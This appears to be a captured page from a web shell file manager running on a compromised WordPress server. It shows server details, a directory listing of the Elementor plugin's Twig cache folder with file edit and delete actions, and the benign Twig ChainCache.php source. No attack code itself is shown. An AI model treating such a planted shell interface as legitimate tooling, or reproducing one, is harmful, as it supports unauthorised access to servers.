[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor
/
vendor_prefixed
/
twig
/
twig
/
twig
/
src
/
Cache
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 CacheInterface.php
1,179 B
SET
[ EDIT ]
|
[ DEL ]
📄 ChainCache.php
1,933 B
SET
[ EDIT ]
|
[ DEL ]
📄 FilesystemCache.php
2,580 B
SET
[ EDIT ]
|
[ DEL ]
📄 NullCache.php
704 B
SET
[ EDIT ]
|
[ DEL ]
📄 ReadOnlyFilesystemCache.php
574 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: ChainCache.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace ElementorDeps\Twig\Cache; /** * Chains several caches together. * * Cached items are fetched from the first cache having them in its data store. * They are saved and deleted in all adapters at once. * * @author Quentin Devos <quentin@devos.pm> */ final class ChainCache implements CacheInterface { private $caches; /** * @param iterable<CacheInterface> $caches The ordered list of caches used to store and fetch cached items */ public function __construct(iterable $caches) { $this->caches = $caches; } public function generateKey(string $name, string $className) : string { return $className . '#' . $name; } public function write(string $key, string $content) : void { $splitKey = $this->splitKey($key); foreach ($this->caches as $cache) { $cache->write($cache->generateKey(...$splitKey), $content); } } public function load(string $key) : void { [$name, $className] = $this->splitKey($key); foreach ($this->caches as $cache) { $cache->load($cache->generateKey($name, $className)); if (\class_exists($className, \false)) { break; } } } public function getTimestamp(string $key) : int { $splitKey = $this->splitKey($key); foreach ($this->caches as $cache) { if (0 < ($timestamp = $cache->getTimestamp($cache->generateKey(...$splitKey)))) { return $timestamp; } } return 0; } /** * @return string[] */ private function splitKey(string $key) : array { return \array_reverse(\explode('#', $key, 2)); } }